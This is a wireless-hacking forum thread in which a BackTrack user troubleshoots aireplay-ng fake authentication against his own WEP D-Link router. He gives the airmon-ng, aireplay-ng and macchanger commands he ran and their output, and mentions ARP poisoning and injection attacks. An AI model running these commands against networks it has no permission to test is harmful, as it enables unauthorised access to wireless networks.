Fake Auth failure when using mac spoofing

[cytofusion]

Dear back|track users,

I have been experiencing a problem:

Previous search terms -
Searched google and BT for terms along the lines of:
mac spoof(ing) aireplay fake auth(entication) deauthentication packet
and any combination of those, but have not found a definitive answer that addresses the difficulty I'm experiencing.

Platform -
back|track4 pre-final live USB
card1: intel 5100 (bleeding edge driver from dec 2009)
card2: alfa AWUS036H (native rtl8187 drivers from BT4-prefinal)
target AP: Personal D-link router WBR-1310 (10 ft away)
NO MAC filtering set on target AP, WEP enabled

Description of problem:
Boot up BT4
airmon-ng start wlan0 (for alfa)
airodump-ng -c 1 mon0 (to fix the channel at 1)
aireplay-ng -1 0 -a $AP mon0 (attempt fake auth)
==> Fake auth success

change mac:
original mac: XX:XX:XX:XX:XX:BA
new mac : XX:XX:XX:XX:XX:BB (or any other change)
ifconfig wlan0 down; ifconfig mon0 down;
macchanger -m XX:XX:XX:XX:XX:BB wlan0
macchanger -m XX:XX:XX:XX:XX:BB mon0
ifconfig mon0 up;
airodump-ng -c 1 mon0
aireplay-ng -1 0 -a $AP mon0 (attempt fake auth)
==>
Sending Authentication Request (Open System) [ACK]
Authentication successful
Sending Association Request [ACK]
Got a deauthentication packet! (Waiting 3 seconds)
.
.
.
Got a deauthentication packet! (Waiting 5 seconds)
.
.
. etc.

This happens for both Intel 5100 and Alfa AWUS036H

When I attempt an attack on my office router (with permission, namely by me), the mac spoofing doesn't seem to result in dauthentication from router.

What can be done:
1) Injection test, aireplay-ng --test mon0, will result in successful injection on both spoofed mac and original mac
2) With original mac, most attacks on d-link are successful as per tutorials on this page and other sources, including attacks 2,3,4, and subsequent aircracks and dictionary/table attacks. Once connected and ARP poisoned, many other attacks also work as usual.

QUESTION:
+How can the router possibly know what my original mac address is? (Again, NO MAC filters on routers)
+Why does it allow fake auth if I use original mac, but denies authentication when I use other macs (both completely random, or pseudo random spoofing like changing the last digit) ?
+Is there a work around?

Thank you for taking time to read my question, I appreciate any questions regarding my setup or comments on how I can approach the problem.

C.

[Zerocool Djx]

Hey cytofusion,

This is just a shot in the dark as I am still learning, but I ran into a similar problem last night. Took a long time to work it out, and I don't know if this is indeed myself corrected it, maybe someone can verify.

When Faking Authentication with Mac addresses, your card shouldn't be in passive mode cause your sending info out. I would try wlan0 and not mon0. Cause I'm thinking if you use the mon0 interface name I am assuming it puts the card into monitor mode and doesn't allow to transmit info...

Any thoughts anyone?

Z

[cytofusion]

Dear Zerocool,

Thanks for the reply.
At least for me, I don't think mon0 vs wlan0 is the the problem.
I can do fake auth in monitor mode without any problem, and if I'm not mistaken, many posts both on this forum and on the web suggests using mon0 for most of the attacks.

Just to test the theory out I turned my AP on just now and did the following.

1) Faked MAC addresses using macchanger.
aireplay-ng -1 0 -a $AP mon0
==> Got a deauthentication packet! (Waiting 3 seconds)
aireplay-ng -1 0 -a $AP wlan1 (for me wlan1 is alfa and wlan0 is intel 5100)
==> Got a deauthentication packet! (Waiting 3 seconds)

2) Restore to factory MAC addresses using macchanger.
aireplay-ng -1 0 -a $AP mon0
==> Association successful :-)
aireplay-ng -1 0 -a $AP wlan1
==> Association successful :-)

3) On-the-fly MAC spoof with -h, in this case $spoof is the factory mac
aireplay-ng -1 0 -a $AP -h $spoof mon0
==> Association successful :-)
aireplay-ng -1 0 -a $AP $spoof wlan1
==> Association successful :-)

4) On-the-fly MAC spoof with -h, in this case $spoof is the fake mac
aireplay-ng -1 0 -a $AP $spoof mon0
==> Got a deauthentication packet! (Waiting 3 seconds)
aireplay-ng -1 0 -a $AP $spoof wlan1
==> Got a deauthentication packet! (Waiting 3 seconds)

I think those 4 simulations tells me at least that it isn't the monitor mode that's causing the problem. Both monX and wlanX does exactly the same thing when the only variable parameter is spoofing of mac address. Also I think I've done injection following chopchop and packetforge in mon0, and that worked out great (with IV/s close to 500).

C.